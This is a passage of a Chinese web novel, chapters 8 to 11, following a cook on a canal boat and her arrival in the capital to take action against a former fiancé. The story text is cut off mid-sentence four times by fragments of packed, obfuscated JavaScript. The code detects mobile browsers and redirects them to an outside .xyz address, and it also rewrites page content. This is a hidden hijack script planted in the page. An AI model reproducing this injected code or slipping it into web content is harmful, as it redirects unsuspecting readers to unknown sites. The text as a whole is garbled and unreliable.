离得不远的舱房里，阿竹嘴里口水闻着味儿开始冒，他摸着肚子开始念叨：“主子，这应该是莫姑娘在给沈夫人做饭吧？从刚才卤子香开始，现在又有肉和虾的香味儿了。咱也应该吃两顿的，我已经饿了……我办得差不好，怎么就没跟她说好做午饭还是晚饭呢？” 贺琛执笔伏案，听他啰嗦不耐地拧了拧眉心：“你若饿了，自去吃饼。” 阿竹置若罔闻：“不知道今天莫姑娘会给咱做点什么呢？也不求这么多荤的，她说这几天菜少，我有碗菜汤面就满足了。” 这也不能怪他，在这劳什子船上，什么都做不了。 每天太阳起来就开始想吃的，一直到天黑睡着。 其实梦里也不消停，满脑子猪肘子酱牛肉，看得见吃不着地折磨他。 那股香味越来越浓烈，阿竹几乎能闻到肉炖烂了，融在汤里的滋味。 忍了很久的口水终于滴下来，他狼狈地飞快擦掉，生怕又遭了这位爷的嫌弃。 楼上，沈小爷也闻到新飘上来的香味了，跳下窗台，哒哒哒地往外跑。 李嬷嬷小跑跟上去：“哎哟，我的祖宗爷……” 但沈小爷人小重心低，在晃动的船上跑得飞快，李嬷嬷居然一下子追不上。 他一路追着香味顺梯而下，看到熟悉的场景——给做香香饭的姐姐，现在在做饭。 “吃饭饭！”沈小爷响亮地喊出口号。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716591|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李嬷嬷终于追上去，终于看清了被围在灶台里的那掌勺的人，还真是莫玲珑。 她心里嘀咕，合着下楼是做饭，不说了一块儿吃么？ 这么想着，她弯腰去抱沈小爷。 但小小的祖宗，直接冲上去抱住了莫玲珑的大腿，仰头扯着小嗓子嚎：“要吃饭饭！” “哎哟，我的祖宗！” “小心！” 莫玲珑猛地被抱住吓了一跳，差点洒了汤勺里的疙瘩汤。 “要吃饭饭！！”沈小爷嘟着嘴，鼻子一抽一抽，眼睛馋登登地看着她手里的汤勺，抬手指过来。 “这不行哦，是别人的。”莫玲珑哭笑不得，她不怎么会哄孩子，蹲下用商量的语气说，“等会儿回楼上做拉面吃，你可以吃一碗，好么？” 沈小爷眨眨眼，黑白分明的眼睛里，盛着大大的问号：“一碗？” 锅灶还在小火炖着，疙瘩汤已经好了。 久了会糊，莫玲珑得尽快去送餐，于是认真严肃地跟小客人交涉：“对，等，就能吃一碗。不等，就没有。” “一碗！”沈小爷伸出一根手指，小小的脸上也表情严肃。 “一言为定。” 莫玲珑跟他拉钩钩。 李嬷嬷惊讶地发现，这位祖宗居然可以有商有量。 当下连莫玲珑是如何又揽到新客人都没打听，瞅准机会抱起沈小爷上楼去给范氏报喜。 莫玲珑手脚麻利地撒了葱花，把疙瘩汤盛起。 正好装了满满两碗，一路端到自己隔壁的舱房门口。 “笃笃”两声，房门敲响。 阿竹有气无力地起来，心里想着，哪个不长眼的饭点儿敲门，是怕他闻不到外面的味儿吗？ “谁啊？”阿竹语气不耐。 但拉开门，在看清眼前的两只大瓷碗后，他瞬间变了脸，眯笑着捏起嗓子，腿都弯了：“莫娘子，这是……” “这是疙瘩汤。我说过，这几日食材不多只能简单点。你们尝尝合不合胃口，量够不够。告诉我了，我好调整。” 莫玲珑说着，再把碗递过去，“你给了二两银子，每日只一餐花费不了这许多，所以我想还是按两顿来做，可以吗？” 阿竹没想到她竟然如此周到，摸着空空如也的肚皮，鼻子有些酸酸的：“两顿好！难为娘子你想得周到。” 说完，才装模作样地向碗里看去。 这一看，鼻尖的酸意，都往下跑到了嘴角，流了出来。 鲜亮澄黄的南瓜煮酥烂了，整个汤底儿都是南瓜色，肉末三三两两地浮在汤面上，缀着青葱，热腾腾的散发朴实厚重的香味。 阿竹顾不上体面，端起就往嘴边送。 这一入口啊，鲜甜滑润，都不用细嚼，就吸溜吸溜进了肚子。 “小心烫！” “好吃！莫娘子，这也太好吃了！我只恨自己只有一个肚子……”他含含糊糊地说。 “阿竹，没规矩！”一道清厉的声音不轻不重地从房里传来。 阿竹朝她扮了个鬼脸，立刻规规矩矩地道谢：“多谢莫娘子。” 那人坐在正对窗户的书案前，从门口看去，只见一道挺拔的背影，脖颈修长。 看起来好高。 莫玲珑收回视线，笑着交代：“碗用完放我门口就好。” 8. 最后也没见上 忙完这对主仆客人，莫玲珑上楼去上第二份工。 靠近房门，便听李嬷嬷在里面哄沈小爷表演用手比划一，沈小爷也配合，青翠从旁拍手逗笑。 范氏则似乎有些哽咽。 她伸手叩响门，范氏一叠声道：“快快快，一定是莫姑娘。” 青翠开门把她拉进去：“快，少爷一直在比划’一碗’，擎等着你来给他做面条呢！” 沈小爷看见她，蹬着两条小短腿跑过来，又一下抱住她腿，仰头：“一碗。” 莫玲珑哭笑不得：“好，一碗。” 她牵着孩子的小手去廊下，依然让他隔着窗户坐在桌上，揭开了卤着肉的焖锅。 盖子一开，卤牛肉的香味随着热气的腾起，顷刻侵占众人的嗅觉。 香料的比例调得恰到好处，能保留牛肉的本味，又完全消除了其中的肉腥气。 沈小爷咽了咽，口水挂在嘴角：“香香！” 范氏又按了按眼角，难抑感慨：“这下不光开了口，还会逗人了……莫姑娘是瑞儿的贵人啊！” 孩子这般大了不会说话，说不急是假的。 再是“贵人语迟”，范氏心里都捏把汗。 这趟奔丧来回三四个月，她时常想起自己儿时在爹娘跟前承欢膝下的光景，又想到从此自己是没爹的人了，动不动便要流泪。 小儿子的开口说话，竟是她这段时间以来最大的安慰。 “只是赶巧了，要说贵人，小少爷和沈夫人才是我的贵人。” 莫玲珑一边动作利索地起锅烧水，一边说，“不光让我赚了笔盘缠，还替我做了招牌，喏，我又接到新的客人，每天做两碗面，能赚不少银子呢！” “哦？”范氏奇道，目光投向自己的婢女和嬷嬷。 青翠哎了一声：“不会是阿竹和贺郎君吧？！昨天来还我碗的时候，阿竹低眉顺眼地谢了那么老半天，还说夫人慧眼识珠呢！” 范氏又看向她。 但莫玲珑有她的原则，不在任何客人面前，提其他客人的信息。 她只淡淡一笑：“玲珑只负责做饭，并没问客人姓名。” 虽然她知道双方应当是认识的。 “我去问问就知道了！”青翠主动说。 片刻后，她跑回来惊喜地说，“夫人，真是他们！” 青翠绘声绘色地描述，她正巧在莫玲珑门口堵到了搁碗的阿竹。 “嗐，那不是巧了么！” 李嬷嬷看范氏全不介怀的样子，暗暗庆幸自己刚才没抖机灵，显摆自己知道莫玲珑另接了客人差事的事。 尴尬的岂不是自己？ “你怎么不邀了他们跟我们一同吃算了？” 范氏看一眼廊下一边煮面，一边应着儿子童言童语的姑娘，眼神一柔，“我们这里吃的多，也省得莫姑娘做两顿。” 下层船灶的条件可想而知，又能做出什么来？ 范氏前后一品，愈发欣赏莫玲珑。 为人爽利，手脚干净，重要的是嘴严——真以为她看不出贺琛主仆和自己相熟吗？人品好罢了。 这种事，搁在她手底下这些掌柜、管事娘子身上，早就说到她跟前来讨好处了。 “怎么没提？”青翠噼里啪啦说，“阿竹说贺郎君现在吃得好，能进一大碗疙瘩汤，说谢夫人好意。” 想到阿竹那傻样，她就想笑。 鼻尖上沾着不知什么酱，黄黄的，笑得傻乎乎：“青翠姐姐，我从没吃过这么好吃的疙瘩汤，天天吃都行。” “莫娘子，你给他们做什么疙瘩汤了？” “就是普通的南瓜疙瘩汤。” 莫玲珑说着，比划了一番让沈小爷往后靠靠，“要变戏法了，你看好……” 她揭起锅盖，肥白的水汽蒸腾弥漫开来。 像一朵白色的云，从锅沿腾空而起。 沈小爷睁大了眼睛，小嘴张圆：“喔……” 两只短短的胳膊奋力往上一举，像是托起什么东西一样，“飞，飞，飞起来！” 真是越说越利索了。 范氏看着儿子充满童稚的动作，忽地恍如一道闪电掠过脑海，她意识到哪里不一样了—— 莫玲珑不像婢女和嬷嬷那样，有意地学孩子的口吻说话，好似这般能让孩子愿意开口一样。 她只说“你”，即便是对着才两岁的孩子。 这发现让她有些愕然，又有些感慨。 虽然贺琛刻意避着，但范氏心里还是留意着这主仆的吃用。 六日后，漕船再次靠码头时，她安排青翠带着两名护卫跟莫玲珑去买菜。 只要莫玲珑眼神瞟过的东西，青翠不分三七二十一买下，如此一来不知不觉又买多了许多。 两个护卫拎了满手，引得码头摊主们愈发卖力吆喝。 莫玲珑心里明镜一般，但还是按自己估算的量，按部就班给贺琛主仆买了接下去几天的食材。 然而人算不如天算。 或许是因她日日在船灶上做饭的香味，勾起了其他船客的馋虫和技痒。 这日之后，用船灶做饭的人多了起来。 从早到晚那几口灶都不得空。 炖汤的，煮粥的，做疙瘩汤的，络绎不绝。 莫玲珑本就是先顾着范氏主仆几人，得空了才给阿竹他们做。 这下根本轮不到。 无奈只能借用范氏的锅灶。 但依然坚持每次都在做完她们的饭菜后，才做楼下的。 好在贺琛主仆要求简单，只吃面食。 她换着花样做，汤面，拌面，焖面，蒸面……竟然没有重样。 十几天下来，连青翠都叹服：“绝了，连面馆都没这么多花样！莫娘子，你怎么能想到这么多面的？” 是啊，她会做很多种面。 因为上辈子还没出师的时候，自己跟奶奶相依为命，生活费真是一块钱恨不得掰成两半用。 面条是最为快捷经济的吃食。 用范氏的炉灶，不必跟其他客人抢船灶用，干净又卫生。 可时间一长，两方客户的界限有些模糊。 或许是吃了两顿加过山楂炖的牛肉，沈小爷的胃口空前绝后得好。 好几次硬是从贺琛主仆的锅里，哭着喊着要到小半碗。 每每如此，范氏便顺水推舟地推销做给她们的汤水或菜品：“莫姑娘，上次瑞儿吃了贺郎君他们的面条，这么多菜我们吃不完也喝不完，不如给他们两碗。” 莫玲珑便会如实告知阿竹，由他们自己裁决要不要接受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716592|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种情况下，阿竹会耍赖要吃，直到那道清厉的声音冷下来：“吃完自己领罚。” 几次下来，莫玲珑也只见过窗前伏案的背影。 那位贺郎君仿佛有写不完的公文奏疏，看不完的文书材料。 天天就这么坐着，不怕腰肌劳损吗？ 即使不劳损，也会得痔疮吧？ 为此，莫玲珑有些惋惜。 直到有天一大早，这艘船不知怎的行船中猛烈地一晃，把她晃醒了。 顿时，她想起了前世看过的灾难电影。 一向有些起床气的莫玲珑，立刻从床上跳下去，飞快披上外裳系好腰带推开门。 迎面却见另一艘十分考究华丽的官船从眼前缓缓而过，船的尽头挂着一对写着“金”字的宫灯。 而自己乘的这艘漕船贴着运河岸边，已经让到无处可让的地步。 原来，只是让行。 此时其他舱房的客人也三三两两从房里探出来： “怎么回事？刚差点从床上滚下来！” “没瞧见前面这艘吗？这可是上京高官才能坐的船，嘿，民让官呗。” “……” 她收回视线，才发现甲板尽头那里站着个人。 手里提着把长剑，身穿黑色窄袖劲装，腰间皮质束带泛着冷意的光泽，将他勾勒得挺拔颀长。 此时，他正背对着莫玲珑，久久盯看对面的豪华官船。 明明看不见对方的脸，但她莫名确信，他就是那位贺郎君。 在船上待了二十来天，能有这份身高的，只见过这位。 这么早出来练功，怪不得坐着腰身提拔，也无痔疮之忧。 只不过——他看起来好年轻，比她猜测的年纪小许多。 她胡思乱想一通，转身回房。 第二天上午，漕船抵达上京码头，站在甲板上能遥遥能望见城市边际线。 莫玲珑去上房收拾自己留在那里的调料和食材，并郑重谢过范氏。 范氏主仆都已经穿戴完毕，虽然颜色依然素净，但面料考究不凡。 沈小爷也换上了素色软缎圆领小褂，还不知从此就要分开，看着她傻乐，流着口水说他新学会的词儿：“面条好吃，肉肉。” 范氏生出依依不舍，握着她手流露真诚：“莫姑娘，我家就在内城东坊的头里，你要是有空，可要来玩。” 李嬷嬷抱着沈小爷，听范氏邀她上门，心中有些震撼。 这莫娘子再是伶俐，也只是个厨娘，哪里能登府尹夫人的门了？ 青翠早已替她收拾妥当，郑重将包袱交到她手上：“莫娘子，后会有期。” “后会有期。” 说完，莫玲珑弯腰捏了捏沈小爷的嘟嘟脸：“记得要好好吃饭。” 然后又对一旁的李嬷嬷提道，“要是天气热了他胃口不好，可以让厨房在做肉菜的时候，加点儿山楂或陈皮。” “好。”李嬷嬷收起异色，“奴婢记住了。” 现在真要再见了。 她摆摆手离开，再下楼去向阿竹主仆道别。 莫玲珑抬手一敲，门应声而开。 里面空无一人。 那个白天腰杆挺直伏案，凌晨穿劲装练武的男人，最后也没见上。 9. 第 9 章 原来他们已经走了。 莫玲珑转身回到隔壁，推开门，地上躺着一个鸦青色信封。 她拿起检查一番没见异常，拆开看里面是一张素宣，四周毛边整齐，应是从大张纸上撕下。 上面写着： 「感谢多日费心。」 落款是一个贺字。 像是匆匆写就，笔迹潦草狂放。 真是个奇怪的人。 一连十多日，她竟连对方正脸都没打过照面。 似乎永远在忙，却又精力惊人。 莫玲珑把东西重新打包。 上船时大包小包，路上吃得七七八八，如今包袱轻了很多。 她把包袱往肩上一挎，随着人潮也上了岸。 码头上，候着许多脚夫、轿子、牛车和驴车，吆喝着揽客。 莫玲珑问了价后，选了价位适中的驴车，那人听她要去东四巷，报了个一百文的低价。 这些信息，都拜前男友所赐。 过去的三年时间里，他没少跟原主画大饼。 把入京一路怎么走，候考的时候如何住得经济，又能方便和同期社交，考中后礼部一般会安排的住所，包括万一高中封官，可能会分配的住处，都说得清清楚楚，活灵活现。 按他说的，一甲进士获恩荣后，翰林院会给他们分配位于内城东侧的东四巷官邸。 她自然是先去那里，探探虚实。 与此同时，这个巷内一处两进院落里，刚见到老仆的陆如冈打了个喷嚏。 老仆东伯风尘仆仆，泪眼汪汪，自责不已：“罪过罪过，是不是老奴把路上的寒气过给公子了？” “不关东伯的事。”陆如冈擦了擦鼻子，“或许是今日去章大人府上，花开得太盛，沾了花粉鼻痒，多喝些水睡一觉就行了。不过，东伯你怎么才回？你都去了两个月了。” “公子，老奴没办好差，哪好意思坐船回来！”东伯眨着浑浊老泪：“我就走一路，搭一段别人的牛车，走一路，搭一段驴车……” 陆如冈听完顿时脸色一变，提了声调：“东伯，没办好差事什么意思？是，是玲珑不肯还我庚帖吗？” “她哪好意思不还！只是她……她……”老仆吞吞吐吐，觑着陆如冈的神情，不像是余情未了，才大着胆子说，“她悬梁了。” “什么？！”陆如冈一下子站起来，声音带上了颤意，“她死了？！我，我只想跟她把庚帖退了，我同她的婚事还没到纳吉那一步，也不耽误她另嫁，她竟然这么想不开，这可……” 脑海中浮现莫玲珑娇美可人的模样，心也跟着一颤。 她竟爱自己如此之深…… 其实，他亦对她有几分真情，只是…… 老仆面色难看地哼了一声：“装模作样罢了，要是真想死，哪里会刚好就这么巧让人救下？老奴把她给公子的定情信物和庚帖还给她后，她当着众人面晕倒，我连话都没说完呐，害得我让人指指点点，累及了公子的名声！” “我早说，她不是个贤妇，若是夫人健在，断断不会给公子定下这门亲事。” 今日正是休沐日，巷子里脚步不断，不时传来几声熟悉的交谈。 听过东伯的话，陆如冈有一种仿佛置身于众人口诛笔伐之下的错觉。 这辈子他最落魄的时候，便是在莫家的三年。 一路从家乡艰辛北上，丢了拿母亲留下的嫁妆典当才备足的盘缠，如果不是东伯舍下脸皮求助于莫家帮工，他也因才学出众，得了莫家爹爹的欣赏…… 还未走到上京，他便已饿死了。 那时他自觉百无一用是书生，但莫玲珑说“就喜欢有学问的男子”。 莫家爹爹提起婚事的时候，他真的也想过和莫玲珑举案齐眉，相伴一生。 当时不是假的。 但来了上京，看到这市井繁华，这人上人的世界，他动摇了。 如果，他想，如果莫玲珑处在他的位置，也会做出同自己一样的决定。 一穷二白地摸爬滚打，没个靠山提携，太累太难了。 纵使金子终于闪光，但上京处处是黄金。 来上京小半年，他已看得非常清楚，自己身上唯一称得上不可多得的优势，便是清清白白孑然一身。 他会是泰山手下，最听话的一枚棋子。 上京五品以上，这样的赘婿就有不少。 “东伯，你没有对玲珑说，我今后会好好补偿她吗？”陆如冈急声问。 都说三年清知府十万雪花银。 他如今荣恩翰林编修，是清水衙门，但三年后他就能去六部。 他也不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716593|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿，他只取应得的，一定会好好补偿她，几倍地补偿。 东伯双眼一瞪，大声说：“当然说了，原原本本说的！那莫玲珑还是悬了梁，老奴有什么办法？！依老奴说，公子你快些把章家的千金哄哄，婚事尽早定下……” 然而陆如冈脸色一下子难看得不行：“糊涂！东伯你……你就这样回来了，万一玲珑闹起来，置我于何地？” “她一个孤女，还能闹到上京？”东伯满不在乎。 不是他东伯瞧不起人，她若是有这能耐，早已能顶起莫家门楣，又怎会一心想着当官家娘子，连莫家铺子都要转卖？ 而闹到上京的孤女莫玲珑，一个时辰后，在脚夫推荐下，站在了东四巷的一家客栈前。 同福客栈。 也不知这客栈有没有郭芙蓉、白展堂、佟湘玉？ 或者秀才，大嘴，无双？ 莫玲珑这么一想，笑着抬脚进去。 问下来，客栈的客房有上中下房，价格不一，丰俭由人。 但此地位置挨着内城，上房高达500文，最便宜的下房也要80文。 她不知道告状周期得持续多久，先谨慎选了下房。 这家客栈还提供餐食，一顿10到20文，可以免费借用灶房，对她来说，算是方便了。 莫玲珑先付了三晚的房钱。 下房的朝向都不太好。 她这间朝西，仅够放下一架床和一个小柜。 幸好窗户能看见东四巷那一片官邸——按渣男所说，那就是一甲进士封官后，礼部安排的住处。 不出意外，陆如冈就住在那里。 上京价贵，白居不易。 狗男人的起点胜过了许多人啊。 如果他没中一甲，外放为官，或许还能和原主成婚——毕竟外放之地，大抵还不如金安府富庶。 莫家的铺子卖出去少说值几百两银子，足够他初到当地周转人脉关系。 然而偏偏他中了。 说是鸡犬升天也不为过，连如此价贵的住所都有分配，原主的那点身家，可就完全不够看了。 莫玲珑默默在心里说，你瞧，从他在心里权衡利弊，把你抛下起，这个男人就不值得多看一眼了。 我替你重活一次，也定要替你让他付出足够的代价。 10. 第 10 章 抵京后，贺琛让阿竹带着行李自回住处，他另赁了辆轿子前往都察院。 值房内各当值的同僚在伏案工作，出去巡访的几个巡按尚未返京，他整理好此行金安府的巡察提报，准备送呈给上峰。 贺琛此次的巡察任务，是由都察院左都御史冯平忠安排的，自然是向他述职，才好推动后续的整改。 他整理完厚厚的提报文书，将陆如冈悔婚一案，压在了最后。 “贺巡按，怎的一回来就写完提报了？”路过他值房的官员见状奇道，“我瞧你也是刚回吧？” 贺琛与他见了个礼：“刚回，但回程坐船，路上便写完了。” “你呀你呀……害得我等偷懒不得！”那官员嗔怪道。 然后摸了摸胡子得意一笑，“不过你写得再快，这会儿也没用，冯大人进宫去了，不在！” 贺琛坐下，淡淡道：“无妨，我等冯大人。” 对方摇摇头，心里腹诽他无趣又古板，但无奈只得回去做事。 ——有这等标杆返京，又混不成日子了。 “贺大人——”一道含笑的声音隔着重重值房，老远就响起。 刚走远的官员停住脚步，瞥了一眼来人，心里更多了腹诽： 瞧，在都察院是上峰眼里的香饽饽，在外面，往来无白丁，跟堂堂三品大员的京兆府尹关系恁好！ 真不知道这个看起来清高的贺琛，到底什么来头？ 沈译之不是碰巧路过。 他特地给都察院的守门小吏塞了银子，让贺琛回来就速速报给他。 于是，风尘仆仆的贺琛，还没见着自己上峰，倒是先见到了沈译之。 “你怎么今儿回，就差一天！”沈译之一进他的值房，就像在自己值房一样自如，拿起他桌上的茶壶，空的。 “外边儿来个人，泡茶！” 他吆喝来一个小吏，从袖袋里掏出块碎银，连带着一小坨茶抛过去，“快去给你家贺大人泡起，再洗俩茶杯！” “好嘞！” 有钱拿，小吏跑得飞快，麻溜儿就把茶泡来了。 沈译之把门一关，脸上吊儿郎当的表情迅速收起来：“你要是早一天回来多好！首辅大人今儿一早的船去淮起，替皇上巡抚灾区。” 贺琛面无表情地抿着唇。 今日早晨，那艘官船上，题着金字的奢华宫灯仿佛又在眼前摇晃。 “眼下局势复杂，首辅大人一人难支。钱，到处缺钱，天灾不断，你真要继续在都察院干？就不能去翰林院帮帮大人吗？” 沈译之苦口婆心。 谁不知道首辅大人金怀远已经多年没当主考官了，即便门生遍及实权衙门，他也甚少关照一个七品小官，更妄论主动示好，给贺琛铺了条金光闪闪，青云直上的坦途。 只要贺琛肯进翰林，时机合适的话，几年之后不愁入不了阁——这是多少寒门学子梦寐以求的顶峰？ 真是叫人怎么说好，说一句普天之下最幸运的士子也不为过！ 可这贺琛偏就无动于衷，总是冷着那张俊脸。 白瞎！ 同为首辅门生，沈译之起初颇有嫉妒和不服，但腆着脸接触多了以后，也不得不服，贺琛的确才华出众。 做一手好文章，看局势一针见血，处理政务干净利落，滴水不漏，更难得的是为人刚直不阿。 唯有一个缺点，不够审时度势，这么好的机会，他不要！ 片刻后，贺琛终于开口：“你今日过来，当锦衣卫和东厂不会记下你此时说的话吗？” “开玩笑，这里可是都察院！当你们冯总宪是吃干饭的？再说我也没说什么不当的……” 但说归说，沈译之闭嘴了，拿纸笔写下“卢常”两字，在旁边画了个叉，小声说，“记住别去。” “为何？” “别问为何，你且记住这是……”他用气声说，“金大人的意思。” 他说完正事，又吊儿郎当起来，瞥了眼贺琛的公文：“你说你就去了半个多月金安，找出来这么一堆问题，人家知府晚上还能睡好觉么？！” “管理不当的时候，为何安然入睡？” 沈译之被噎，悻悻地把公文推开：“我以后给祖宗上香就求一个事儿，别招惹你来查我。” 公文推散开，露出了贺琛压在最后的一页纸，“咦？怎么还有告新科探花的状纸？” 贺琛脸一沉，把他手推开，迅速收拢散开的公文。 但沈译之何等聪明，虽然猜不透究竟是什么事，却敏锐地嗅出了其中的意味。 他正色道：“你这段时间不在上京，可能不知道，这陆如冈如今八,九不离十要做章尚书的东床快婿了，以后也算是金大人这边儿得用的人。大人这么看重你，以后定要重用你的，那这陆探花还不就是给你用的人？你可别大水冲了龙王庙，该放的放一放，水至清则无鱼嘛！” 甭管什么事，出现在巡按御史上报的奏疏里，就没有好事。 “不是你想的那样。”贺琛冷淡地瞥了沈译之一眼，忽然说，“沈夫人这会儿应该到家了。还不回去好好做事，下了值就家去吧。” “什么？！”沈译之跳起来，“你怎么不早说啊！哎哟我的瑞儿，我的媳妇儿！走了走了，你记住我说的话啊，可千万别……知道么？” 贺琛不答他，只手背向外挥了挥手。 值房里重新安静下来后，他缓慢地把公文收拢，又分开。 记录着陆如冈悔婚的状纸，他抽出来另用信封封住，塞进了公文架不显眼的位置。 既然被沈译之看见，只能延后上报。 一股因此而来的烦躁情绪生出，他微闭上眼，默默推算合适的时机。 蓦地，莫玲珑站在门口捧出两碗疙瘩汤时含笑的神情，闯入脑海。 和记忆中，总是忧郁垂泪的母亲，面容交叠。 如果母亲当年，也如她一般勇敢，不惧世人眼光，是不是还好好地活着，看他长大成人？ 他忽然止住这种无意义的假设。 母亲已经去世，因一个男人的薄情送了命。 他如今所有的努力，为了让那男人付出足够的代价—— 最为看重自己的前途是吗？ 那他就夺走它，然后，毁掉它。 贺琛不去再想这桩案子，开始推敲卢常县的局面。 金怀远不让他去，无非说明一点，卢常县有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716594|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对他有不利的事，也或者是他对头的事。 总之，很麻烦。 首辅大人权倾朝野，称得上对头的，只有内廷权宦司礼监掌印太监李如海了。 那么，此时的卢常县大概是权宦和权臣的斗法场。 答案来得比他想的还要快。 冯平忠很快从宫里回来，他汇报完金安府巡察情况后，对方沉吟半晌，说：“贺琛，你是我最为信任的部下。我有个问题，望你能坦白相告。” “是。”贺琛敛眉俯首。 “你，怕不怕？” 冯平忠问得没头没尾，但贺琛目光一亮，坚定地说：“不怕。” “老夫知道，你不是那等贪图利益，胆小如鼠的人。为何问你这话，是因为，有一桩案子十分棘手，一个处理不慎，便会成为权力斗争的牺牲品。我想问你，敢不敢？” 冯平忠将卢常县的案子平铺直叙地道来。 锦衣卫一个千户在卢常办事，期间为非作歹，被东厂探子报回上京。 东厂的太监头子康有德便下令捉他回京审。 本来不过是狗咬狗的事，见多了。 但坏就坏在，那个被抓的千户逃了，从小路逃回上京向指挥使邹大谷求救。 两边本就是剑拔弩张，关系紧张，这一下，让本来在首辅和司礼监之间摇摆不定的邹大谷，彻底投靠了金怀远。 金怀远一出手，那千户在卢常的所作所为全部被抹得轻描淡写。 可大太监李如海哪可能咽的下这口气，康有德是他干儿子，就这么被人骑在头上？ 于是，他在皇上面前撺掇了几句。 “就这样，皇上要求都察院派御史下卢常县，调查真相，秉公办理。”冯平忠深邃的眼中，饱含沧桑，“现在，你若怕了，我毫无怨言。” 牵涉到首辅，锦衣卫指挥使，司礼监，整个朝野最有权势的三方，这案子无论怎么处理，都会掉层皮。 但贺琛眼神灼灼，双手抱拳弯腰一礼：“愿为大人分忧！” 下了值，他走回住处。 自打来上京后，没买宅子，赁了个离都察院近的两进院，跟阿竹两人住足够，只另请了个阿婆洒扫下厨。 生活异常简单。 推开门，阿竹正在拔院里的杂草，苦闷地抬头：“主子，一想到待会儿我们要吃自己家的饭，我就难过，好想再吃莫娘子做的面啊……哦，一刻前，糖宝到了，在你屋里。” 贺琛的唇角微微一松：“好！” 推开房门，满地狼藉。 床帘撕成一片一片，散落在地上。 凉席啄成片片碎渣，天女散花。 这一切的始作俑者从被窝里探出个脑袋，搁在枕头上，眼皮阖起，小小的身子在被子下一鼓一鼓，气息均匀。 它睡得，丝毫没有身为扁毛畜牲的自觉。 贺琛探手进被子，轻轻从熟睡的糖宝脚踝处摘下牛皮封带里的蜡丸，捏开取出一张薄薄的纸。 他展开看完，点了油灯把纸条烧毁。 干爹说，他们准备好了。 那么，卢常县的案子，就当他送给金怀远的礼物。 这么多年，他先替母亲收点利息。 11. 第 11 章 “主子，咱以后要不要换远点儿宅子住？今天糖宝落下来的时候，吓着隔壁老人家了，差点儿没坐地上嚎啕大哭！” 阿竹说着推门进来，看到地上可怜巴巴的碎布头，爆发出打鸣一样的笑声。 其实吓到的何止没见过金雕的老人，莫玲珑也被吓了一跳。 她当时正朝窗外看出去，蓦然和一只臂展超过三米的大鸟对视上，大鸟悬停半空，朝她眨眨眼，惊得她手里装着调料的包袱没拿稳掉在地上。 也是这么一摔，摔出了一只小巧荷包。 里面装了几个镂着“花好月圆”，“心想事成”吉祥话的小小银锞子，精美异常。 这是……范氏给的小费？ 真大方。 这几个小锞子，不说这份工艺，光银子分量都有好几两。 还是大城市机会多啊。 莫玲珑有些感慨。 但，正事还没什么有效进展。 她今天去了上京的京兆府。 书吏虽然记下了她的诉请，却说她这案子得递到都察院来告，等一轮一轮递上去，要不就是去敲登闻鼓。 登闻鼓她知道。 原主看过不少戏文里有，她今天才确认得知，敲响这面鼓之前，需得先当众受刑。 对方犯错，要她一个苦主先受皮肉之苦？ 直接pass。 至于逐级递交到都察院—— 在她问要等多久时，书吏意味深长地对她说，有的快，有的就很慢。 莫玲珑把玩着手里的银稞子，目光沉沉。 她初来乍到，放眼整个上京，只认识范氏一个官宦人家的夫人。 如果只是举手之劳，她去求一下也就罢了，可陆如冈现在不是白身，谁知道背后有什么错综复杂的关系？ 没弄清楚之前，贸然提出请求，不过是白白浪费范氏的人情。 也难怪陆如冈敢只派一个老仆去金安退婚，维权路上困难重重。 来到上京只是最微不足道的第一步。 她还有很多步要走。 ** 范氏回到家，先搂着儿子歇了个晌。 迷迷糊糊中被轻轻啄醒。 睁眼见她那道貌岸然的沈府尹还未换官服，捉着她亲。 “夫人总算醒了。”沈府尹笑眯眯，“夫人这次好生辛苦，自己瘦了，瑞儿倒是脸圆了一圈。” 范氏微囧。 她船上最后七日硬生生没吃晚饭，才维持住这个腰身。 她看着床上睡得憨憨的儿子，拉了拉丈夫的手，激动道：“对了，回来路上，瑞儿会说话了！” “居然出趟门，会说话了？”沈译之也惊喜。 他的长子异常聪明伶俐，四岁能认字读书，如今14岁已有功名在身，颇有少年郎风姿。 但这个次子，却贵人语迟，两年了还未听他喊过一声爹。 